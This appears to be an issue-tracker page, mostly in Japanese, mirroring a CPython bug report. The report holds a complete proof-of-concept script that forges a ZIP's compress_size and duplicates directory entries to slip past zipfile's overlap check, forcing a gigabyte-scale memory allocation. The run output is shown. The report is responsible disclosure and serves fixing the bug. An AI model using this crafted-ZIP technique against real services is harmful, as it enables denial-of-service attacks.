python / python/cpython

Memory Exhaustion in zipfile via Forged compress_size

オープン
#151,307 コメント 1 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

stdlib type-bug
主要言語
Python
スター
77.2k
フォーク
35.9k
PR マージ指標
PR 指標を取得中

説明

Bug report

Bug description:
Summary

A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.

Details

ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.

Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""

import resource
import struct
import sys
import tempfile
import zipfile


CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def craft_malicious_zip(claimed_compress_size: int) -> bytes:
    """
    Build a minimal valid ZIP with two CD entries.
    """
    filename = b"a.txt"
    file_data = b"x"
    real_size = len(file_data)

    local_header = struct.pack(
        "<4s2B4HL2L2H",
        b"PK\x03\x04",
        20, 0, 0, 0, 0, 0, 0,
        real_size, real_size,
        len(filename), 0,
    )

    cd_offset = len(local_header) + len(filename) + len(file_data)

    cd_entry_forged = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        claimed_compress_size,
        claimed_compress_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    cd_entry_normal = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        real_size,
        real_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    real_cd_size = (
        len(cd_entry_forged) + len(filename)
        + len(cd_entry_normal) + len(filename)
    )

    eocd = struct.pack(
        "<4s4H2LH",
        b"PK\x05\x06",
        0, 0, 2, 2,
        real_cd_size, cd_offset, 0,
    )

    return (
        local_header + filename + file_data
        + cd_entry_forged + filename
        + cd_entry_normal + filename
        + eocd
    )


def main():
    malicious_zip = craft_malicious_zip(CLAIMED_SIZE)

    with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
        tmp.write(malicious_zip)
        tmp.flush()

        try:
            with zipfile.ZipFile(tmp.name, "r") as zf:
                forged = zf.filelist[0]
                with zf.open(forged) as f:
                    f.read()
        except MemoryError:
            print(
                f"MemoryError from {len(malicious_zip)}-byte ZIP "
                f"with compress_size={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: zipfile rejected forged compress_size")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()

Due to how RLIMIT works, that's better to run the poc in a container.

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
  with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact

Memory Exhaustion

Linked issues

https://github.com/python/cpython/issues/141713

/cc @serhiy-storchaka

CPython versions tested on:

3.15

Operating systems tested on:

macOS, Linux

Linked PRs
  • gh-151509

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

調査の方向性

zipfile モジュールの ZipExtFile._read2() から始め、指定されたメモリ制限の下で、提供された細工済み ZIP を使ってその動作を再現してください。現在の方向性については、issue 141713 と pull request gh-151509 を確認してください。偽装された compress_size によって、実証された大規模な割り当てやメモリ枯渇が発生しなくなれば完了です。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
python
領域
security
issue の種類
バグ
難易度
4/5
見積もり時間
3〜5日
活発さ
停滞
明瞭さ
おおむね明確
初心者へのやさしさ
25/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。